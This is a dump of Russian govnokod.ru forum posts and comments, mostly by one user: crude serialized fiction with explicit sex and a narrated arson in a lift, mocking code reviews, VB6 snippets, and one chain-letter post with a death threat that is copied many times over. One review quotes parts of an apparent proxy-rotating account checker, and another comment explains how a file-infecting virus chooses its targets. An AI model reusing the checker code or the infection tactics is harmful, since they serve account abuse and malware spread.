  797. ########## Stertor: comment http://govnokod.ru/18333#comment289932 ##########
  798. -И не стыдно?
  799. -Кого стыдиться? Тебя? Он улыбнулся.
  800. -Я вообще-то пидр.
  801. -Мне похуй.
  802. Я пожал плечами.
  803. Обноски ему очень даже пошли. Неброско, но все же лучше, чем ходить обоссанным.
  804. -Где живёшь?
  805. -в России.
  806. -Я что, шучу с тобой?!
  807. -Не беси... Дай подумать.
  808. -Слушай, а дневник твой?
  809. -Мой.
  810. -Ты даже больший извращенец, чем я мне сначала показалось.
  811. -Возможно.
  812. -Тебя дома не хватятся?
  813. -Я думаю, что нет.
  814. Я решил его проводить. Мы рассуждали на абстрактные темы, перескакивая с первого на третье, с пятого на десятое.Я вкратце рассказал ему о своих взглядах на жизнь. Он ни разу не перебил, чем, как ни странно, вызвал у меня досаду(похуй небось?), но оказалось он слушал очень внимательно. У витрины магазина мы остановились, чтобы подать друг другу руку.
  815. -Мы ещё встретимся?
  816. -Как хочешь.
  817. Мы оба поняли, что просто так уйти не получится.
  818. -Знаешь, как это делается? - Он замотал кулак тряпицей, и изо всей силы ударил во витрине, пробив стекло насквозь. Завизжала сирена. Мы разошлись по домам.
  819.  
  820. ########## void_main: comment http://govnokod.ru/20487#comment343653 ##########
  821. Мы забирались в шкаф и трахались. Как то ночью, сосед очередной раз блаженно замер, Потогон подлетела к окну, застыла на месте, пытаясь заглянуть в шёлку в шкафу. -Ты.. Ты это видел?- прошептал я в ужасе. Вместо ответа сосед придал своему лицу скептическое выражение, взял меня обеими руками за голову и засунул мне в рот член почти до упора.
  822.  
  823. ***
  824. Холодным февральским днем институт обежала весть о коррупции. Накануне экзамена, один из преподавателей был обвинен во взяточничестве (родила гора мышь), и поспешно уволен. Потогон закатила грандиозный скандал, аннулировала результаты экзамена и заявила, что сдавать его все будут лично ей. Экзамен - это всегда страшно. Но вдове страшнее, когда за столом сидит Потогон, в окружении очкастых равнодушных физиономий. Им-то уже давно известно, чем всё кончится: Потогон воспользуется шумихой, и отчислит неугодных ей студентов. Вот, пришел назначенный день...
  825.  
  826. ########## Stertor: comment http://govnokod.ru/13393#comment287326 ##########
  827. В школе я был отличником (скорее всего - липовым, ибо в матане дуб дубом), но не был зазнайкой и у меня было много друзей. Задротом я никогда не был, хотя в школе не вылазил из библиотеки, предпочитая книги по физике и химии. В школе я был влюблён в одного мальчика - его звали Сергей. Я очень хотел с ним дружить, но он умел лишь красть ручки из пеналов и ботать по фене, часто награждал меня побоями, но я не обижался. С Сергеем мы потом подружились: нашлись общие интересы, увлечения, стало интересно бывать вместе. Школьные товарищи обычно становятся частью былого, едва отзвенит последний звонок, но мои одноклассники всегда с удовольствием встречают меня на улице, со многими сохранилась дружба. Мне 26 лет, за спиной школа и мединститут. Это было ооочень давно и я не могу сказать, что учёба сделала меня лучше. Я не узнал ничего нового или интересного для себя. Так о какой школе говорил ламер?
  828.  
  829. ########## void_main: comment http://govnokod.ru/20487#comment343654 ##########
  830. Экзамен проходил в здании где ранее находилась кафедра анатомии. Здание напоминало собой склеп, своим мрачным видом только усиливая и без того гнетущую обстановку. Отовсюду слышались взволнованные голоса, волнение, и ропот. Студенты гадали, что же будет дальше. Этот гул изрядно действовал мне на нервы. Приём начался. Вскоре студенты один за другим стали вылетать с неудами. Это была банальная чистка. Двойки получили даже те, кто был на хорошем счету и считался отличником. Но авторитет Потогон - непоколебим. Над нами реально нависла угроза отчисления. Студентов "сдавших экзамен", выгоняли из здания, и они плелись к лавочке, под вековыми соснами, чтобы ободрить и утешить друг друга в своем несчастье. Горе сплотило студентов. Даже те, кто не общался с первого курса (возможно, любили одну преподавательницу), сидели рядом, чуть касаясь друг друга спиной. Падал снег...
  831.  
  832. ########## Stertor: comment http://govnokod.ru/13692#comment193531 ##########
  833. Далее, автор обращается к критической секции - лочит ее, чтобы потоки не
  834. набили друг другу морду, и меняет значение глобальной переменной:
  835. while Work do begin CS.Enter; Inc(Acc); if Acc<Accounts.Count then CurAcc:=Acc else Work:=false; inc(tp); if tp=Proxy.Count-1 then tp:=0; CS.Leave;
  836. На мой взгляд можно было бы обойтись ThreadVar; это место настолько
  837. коряво написано, что просто злость берет.
  838.  
  839. Теперь прошу зажать нос:
  840. while Work do begin CS.Enter; Inc(Acc); if Acc<Accounts.Count then CurAcc:=Acc else Work:=false; inc(tp); if tp=Proxy.Count-1 then tp:=0; CS.Leave; if Work then begin HTTP := TIdHTTP.Create; http.HandleRedirects:=false; http.AllowCookies:=true; SSL:=TIdSSLIOHandlerSocketOpenSSL.Create; ssl.Port:=433; http.ReadTimeout:=Form2.sSpinEdit2.Value*1000;
  841. Тут суровое Школоло чтя традиции своего племени в предпочитает в цикле
  842. переписывать IDhttp и другие объекты (хотя намного разумнее было бы один
  843. раз создать объект и обращаться к нему многократно), причем об
  844. освобождении их даже и не думает: что вы, зачем?!
  845.  
  846. Далее идут глобальные переменные:
  847. var Form2: TForm2; Accounts, Proxy:Tstringlist; Thread, Acc:integer; Work:boolean; CS:TcriticalSection; GoodFile, BadFile: textfile; tp:integer; Balance, Login, Email:string; UserAg: array [0..20] of string=( 'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1', 'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable', 'Mozilla/5.0 (Windows; U; Windows NT 5....
  848. Школоло, резвясь, наваяло массу ненужных глобальных переменных и
  849. гигантский массив, кстати, никому не нужный - очевидно, пытался менять
  850. "железо" чтобы не забанили. Использование глобальных переменных не
  851. рекомендуется. Точнее, рекомендуется не пихать туда ничего лишнего.
  852.  
  853. Суровый вывод: прогу в топку, автора на костер.
  854.  
  855. ########## Stertor: comment http://govnokod.ru/18291#comment289659 ##########
  856. ПРДЛжегние
  857.  
  858. А вот парсер работает с контекстно-свободными грамматиками (второй уровень Хомски) и ему уже нужна целая машина Тюринга с памтью чтобы работать. Его уже ригуляркой не напишешь (нужен BNF или рукопись или flex, yacc, вот это всё) и он уже строит дерево программы потому что когда он входит в функцию он кладет себе в стек об этом заметку.
  859.  
  860. Парсер уже значительно умнее: например с его помощью можно понимать область видимости пеерменной, делать красивую отбичвочку в программах, писать компиляторы в конце концов.
  861.  
  862. Обычно все работает так:
  863.  
  864. Текст -> Лексер -> Парсер -> IDE/компилятор/итд
  865.  
  866. Так вот лексеры есть даже в Editplus, их даже ты можешь на регулярках написать, а парсеры есть только у компиляторов и серьезных IDE.
  867.  
  868. И к сожалению в моем борландсишном децтве с синим экраном парсера у IDE не было, и мне некуда было нажать чтобы посмотреть список всех доступных в этой области переменных...
  869.  
  870. ########## Stertor: comment http://govnokod.ru/18333#comment289930 ##########
  871. Через некоторое время он совсем отрубился. Я был в отчаянии.
  872. Открыв его ранец я немного порылся, но ничего подозрительного не нашёл. Медикаментов у него при себе не было. Полистав дневник, я узнал, что моего друга зовут Макс и что он в общем-то отличник. Сказать, что я был шокирован - ничего не сказать. Машинально сложив всё барахло обратно в ранец я стал обдумывать план действий. Прошло много времени прежде чем мой друг стал подавать признаки жизни.
  873. -Ну, как ты?
  874. -Охуительно.
  875. -Наверно, мы кого-то зашибли колесом, там люди стояли.
  876. -Мне похуй. Я, кажется, обтриводнился.
  877. -Тебе не кажется, ты воняешь, как дерьмо.
  878. -Что дальше? Надо привести тебя в порядок, нельзя в таком виде.
  879. После долгих размышлений мы решили купить что-нибудь подходящее. Я сзъездил в ближайший секонд хэнд и привёз Максу недорогие обноски, заставив его переодеться. Он не стесняясь скинул одежду.
  880.  
  881.  
  882. ########## Stertor: post http://govnokod.ru/13899 ##########
  883. Private Sub CommandButton1_Click()
  884. If t1.Text = "Привет" Then
  885. MsgBox "Добро пожаловать в меня", 32
  886. End If
  887. If t1.Text = "Как дела?" Then
  888. MsgBox "Все норм пока", 32
  889. End If
  890. If t1.Text = "Как тебя зовут?" Then
  891. MsgBox "Дрюн меня зовут и ненадо ржать!", 32
  892. End If
  893. If t1.Text = "Какого ты пола?" Then
  894. MsgBox "Я компьютерная программа, следовательно у меня не может быть никакого пола.Но я могу быть тем или той кого ты захочешь))", 32
  895. End If
  896. If t1.Text = "" Then
  897. MsgBox "Моя очередь задавать вопросы.Ты согласен?", 32
  898. End If
  899. If t1.Text = "Нет" Then
  900. MsgBox "Ну что так грубо?Я думал мыы друзья.В общем пиши -ДА и продолжим разговор", 32
  901. End If
  902. If t1.Text = "Да" Then
  903. MsgBox "А как тебя зовут.Введи пожалуйста полное имя.", 32
  904. End If
  905. If t1.Text = "Петр" Then
  906. MsgBox "Ага...Все таки парень.", 32
  907. End If
  908. If t1.Text = "Борис" Then
  909. MsgBox "Ага... все таки парень. ", 32
  910. End If
  911. If t1.Text = "Илья" Then
  912. MsgBox "Ага... все таки парень.", 32
  913. End If
  914. If t1.Text = "Полина" Then
  915. MsgBox "Сюда вошла деваха)Как приятно", 32
  916. End If
  917. If t1.Text = "Маша" Then
  918. MsgBox "Сюда вошла деваха)Как приятно", 32
  919. End If
  920. If t1.Text = "Алексей" Then
  921. MsgBox "Приятно познакомиться", 32
  922. End If
  923. If t1.Text = "Татьяна" Then
  924. MsgBox "Приятно познакомиться", 32
  925. End If
  926. If t1.Text = "Софья" Then
  927. MsgBox "Сюда вошла деваха)Как приятно", 32
  928. End If
  929. If t1.Text = "Александр" Then
  930. MsgBox "Самое популярное имя. Ну что ж, привет", 32
  931. End If
  932. If t1.Text = "Александра" Then
  933. MsgBox "Сюда вошла деваха)Как приятно", 32
  934. End If
  935.  
  936. ---------- description ----------
  937. Программа-пизделка (для индивидов, которым не с кем поговорить). Наверно, автор писал ее для себя.
  938. http://vbbook.ru/shitcode/1351956488/
  939.  
  940. ########## Stertor: comment http://govnokod.ru/18333#comment289848 ##########
  941. Я растерзал сумку, изрезав ее на ремни (нож при этом сломался), зашвырнул обратно, потом жирно накрасил себе губы и расцеловал лобовое стекло, жирно выведя знак "кирпич" и надпись снизу: "Не уверен - не обгоняй" "С любовью" - на слове "любовью" помада кончилась, пришлось доводить надпись пальцем. Мне удалось остаться незамеченным, я опять поймал трамвай. Выйдя из трамвая, я зашагал во двор панельных строений, зашёл не гадая в ближний подъезд, поднялся на лифте и помочился на лестничной клетке, после чего опять сел в лифт. Но просто покидать лифт мне показалось недостаточным; я остановил его на третьем этаже, расплескал средство для розжига примусов, которое прихватил под лестницей, и чиркнул спичкой. Я бы долго любовался полыхающим пламенем, но тут вспомнил, что нужно идти дальше. Я спокойно спустился по лестнице и покинул это место.
  942.  
  943. ########## Stertor: post http://govnokod.ru/13228 ##########
  944. Здравствуй, анон. Хочу представить тебе свой взглад на этот сайт.
  945. Первое время здесь выкладывались действительно годные
  946. говнокоды с двачей и других имиджборд, но теперь каждый
  947. желающий может написать что-то свое.
  948. Иногда это, сука, раздражает. Не всем всегда охота слушать
  949. сопливое нытье прыщавого нью хикке о том или другом языке,
  950. например. Как отличить, годный говнокод или нет? Ответ прост.
  951. Имхо, каждый говнокод с порядковым номером
  952. больше 1500 чаще всего оказывается калом фекалоида.
  953. Я могу объяснить это тем, что вначале здесь сидели вполне
  954. себе адекватные ребята, но вот, и на этот сайт перекинулась
  955. раковая клетка. Новые говнокоды читать просто неинтересно.
  956. Пожалуйста, анон, читай действительно годные говнокоды,
  957. не забивай свою относительно чистую голову всяким дешевым бредом.
  958. Не надо.
  959.  
  960. ---------- description ----------
  961.  
  962.  
  963. ########## Stertor: post http://govnokod.ru/13779 ##########
  964. Всякий раз наводя курсор на кнопку "Пуск" в Windows 7 вы видели как она менялась.
  965. И вы наверно думали: а как реолизовать такой эффект в VB6? Давайте попробуем
  966. Код:
  967.  
  968. Private Sub Image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
  969. Image1.Picture = LoadPicture("C:Безымянный.bmp") ' при наведении курсора на имейдж в него загрузится картинка
  970. End Sub
  971.  
  972. Ну теперь запускаем. Чтож мы видим? Навели курсор - картинка в имейдже измнилась.
  973. Но ведь она должна изменятся обратно при отведении курсора. Но почему-то MuseMove этого не поддерживает.
  974. Тогда придётся втянуть в это дело форму. Наведением курсора на форму мы будем имитировать отведение курсора от имейджа.
  975.  
  976. Вот код вместе с первым примером.
  977.  
  978. Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
  979. Image1.Picture = LoadPicture("C:Безымянный1.bmp")' при наведении курсора на форму в имейдж загрузится картинка которая была раньше
  980. End Sub
  981.  
  982. Private Sub Image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
  983. Image1.Picture = LoadPicture("C:Безымянный.bmp")' при наведении курсора на имейдж в него загрузится картинка
  984. End Sub
  985.  
  986. ---------- description ----------
  987. Еще пара таких кодов, и мне начнет нравиться Борис М.
  988. А че, интересный парень.
  989.  
  990. ########## Stertor: comment http://govnokod.ru/18291#comment289647 ##########
  991. Обзъян, ну что с того что в некоторых ситуациях понятие статической/динамической типизации не имеет смысла?
  992. В остальных-то ситуациях смысл есть!
  993.  
  994. Приходит wvxvw на вокзал, и просит билет до Крыжополя.
  995.  
  996. Кассирша: Вам на южный вокзал или северный?
  997. wvxvw: север и юг -- выдумки маркетологов. Когда я стою на южном полюсе где юг и где север?
  998.  
  999. кассирша: Вам на вечер или на утро?
  1000. wvxvw: вечер и утро -- выдумки маркетологов. Когда я пересек горизонт событий и падаю в сраную сингулярность, то нет не только утра и вечера, времени даже нету.
  1001.  
  1002. И тут приходят санитары, и забирают wvxvw обратно в дурку, а за ним бегут чумазые 2014 и kegdan и кричат: "дяяяденька, а что это вы там про сингулярность говорили? Вы наверное такой умный! Самый умный тут! Расскажите нам, пожалкйста"!
  1003.  
  1004. Но санитары уже вкатили wvxvw галлопередолу и слюни текут.
  1005.  
  1006. Тьфу.
  1007.  
  1008. ########## Stertor: comment http://govnokod.ru/13931#comment199949 ##########
  1009. Кстати, Delphi - самое простое, что только может быть в программировании. Но это
  1010. не значит, что его нужно учить поверхностно. Халявы в изучении программирования
  1011. вообще нет. Ты очевидно имеешь именно поверхностные знания о Delphi,
  1012. поэтому судишь так. Между тем я тебя хорошо понимаю, я тоже раньше до
  1013. тошноты ненавидел паскальный синтаксис, меня бы никто не заставил
  1014. читать исходники. Но когда я ухлопал больше 2 лет на разработку проекта
  1015. на удобном и хваленом PureBasic и не получил ожидаемых результатов -
  1016. понял, что проиграл и изрядно свалял дурака, связавшись с этим языком и что он непригоден для разработки сколько-нибудь серьезных программ.
  1017. Пришлось срочно учить что-то более серьезное. Все остальные компиляторы
  1018. (сишный билдер, Autoit,purebasic и тп.) уже давно покрылись пылью, я их
  1019. даже не открываю.
  1020.  
  1021. ########## Stertor: comment http://govnokod.ru/15557#comment222166 ##########
  1022. Ты погоди с выводами, не лезь вперед батьки в пекло.
  1023.  
  1024. А нельзя потому, что на распаковывание файла из оверлея и его запуск расходуется время, и это будет особенно заметно на слабых машинах( увеличение паузы перед запуском). Во-вторых, вирусу нужно как-то распространяться; в ходу всегда файлы небольшого размера, их таскают на флешках, передают с компа на комп, грузят на торренты. Глупо заражать инсталляционные пакеты и тп. громоздкости. Это нахуй никому не нужно.
  1025.  
  1026. Опус номер два. В коде этого недодумка есть 1 try на почти на весь код, который вдобавок никак не обрабатывается. (Возникла ошибка? Да похуй, идем дальше. Не удалось закрыть открытый файл? Нонсенс, продолжаем.)
  1027. Ну словит он исключение на этот трай, и что дальше? Запорол полтораста бинарников, заразил два?
  1028.  
  1029. ########## Stertor: post http://govnokod.ru/13367 ##########
  1030. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1031. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1032. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1033. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1034.  
  1035. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1036.  
  1037. ---------- description ----------
  1038. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1039. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1040. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1041. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1042.  
  1043. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1044.  
  1045. ########## Stertor: post http://govnokod.ru/13368 ##########
  1046. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1047. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1048. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1049. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1050.  
  1051. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1052.  
  1053. ---------- description ----------
  1054. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1055. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1056. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1057. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1058.  
  1059. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1060.  
  1061. ########## Stertor: post http://govnokod.ru/13369 ##########
  1062. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1063. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1064. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1065. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1066.  
  1067. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1068.  
  1069. ---------- description ----------
  1070. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1071. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1072. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1073. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1074.  
  1075. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1076.  
  1077. ########## Stertor: post http://govnokod.ru/13370 ##########
  1078. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1079. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1080. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1081. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1082.  
  1083. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1084.  
  1085. ---------- description ----------
  1086. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1087. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1088. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1089. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1090.  
  1091. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1092.  
  1093. ########## Stertor: post http://govnokod.ru/13371 ##########
  1094. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1095. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1096. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1097. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1098.  
  1099. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1100.  
  1101. ---------- description ----------
  1102. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1103. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1104. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1105. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1106.  
  1107. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1108.  
  1109. ########## Stertor: post http://govnokod.ru/13372 ##########
  1110. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1111. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1112. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1113. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1114.  
  1115. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1116.  
  1117. ---------- description ----------
  1118. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1119. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1120. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1121. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1122.  
  1123. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1124.  
  1125. ########## Stertor: post http://govnokod.ru/13373 ##########
  1126. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1127. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1128. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1129. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1130.  
  1131. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1132.  
  1133. ---------- description ----------
  1134. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1135. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1136. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1137. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1138.  
  1139. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1140.  
  1141. ########## Stertor: post http://govnokod.ru/13374 ##########
  1142. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1143. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1144. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1145. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1146.  
  1147. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1148.  
  1149. ---------- description ----------
  1150. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1151. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1152. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1153. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1154.  
  1155. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1156.  
  1157. ########## Stertor: post http://govnokod.ru/13375 ##########
  1158. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1159. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1160. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1161. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1162.  
  1163. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1164.  
  1165. ---------- description ----------
  1166. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1167. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1168. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1169. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1170.  
  1171. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1172.  
  1173. ########## Stertor: post http://govnokod.ru/13376 ##########
  1174. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1175. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1176. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1177. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1178.  
  1179. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1180.  
  1181. ---------- description ----------
  1182. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1183. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1184. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1185. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1186.  
  1187. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1188.  
  1189. ########## Stertor: post http://govnokod.ru/13377 ##########
  1190. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1191. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1192. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1193. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1194.  
  1195. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1196.  
  1197. ---------- description ----------
  1198. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1199. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1200. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1201. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1202.  
  1203. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1204.  
  1205. ########## Stertor: post http://govnokod.ru/13378 ##########
  1206. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1207. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1208. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1209. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1210.  
  1211. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1212.  
  1213. ---------- description ----------
  1214. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1215. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1216. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1217. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1218.  
  1219. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1220.  
  1221. ########## Stertor: post http://govnokod.ru/13379 ##########
  1222. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1223. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1224. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1225. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1226.  
  1227. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1228.  
  1229. ---------- description ----------
  1230. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1231. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1232. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1233. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1234.  
  1235. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1236.  
  1237. ########## Stertor: post http://govnokod.ru/13380 ##########
  1238. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1239. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1240. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1241. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1242.  
  1243. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1244.  
  1245. ---------- description ----------
  1246. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1247. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1248. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1249. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1250.  
  1251. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1252.  
  1253. ########## Stertor: post http://govnokod.ru/13381 ##########
  1254. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1255. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1256. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1257. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1258.  
  1259. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1260.  
  1261. ---------- description ----------
  1262. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1263. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1264. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1265. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1266.  
  1267. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1268.  
  1269. ########## Stertor: post http://govnokod.ru/13382 ##########
  1270. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1271. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1272. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1273. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1274.  
  1275. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1276.  
  1277. ---------- description ----------
  1278. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1279. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
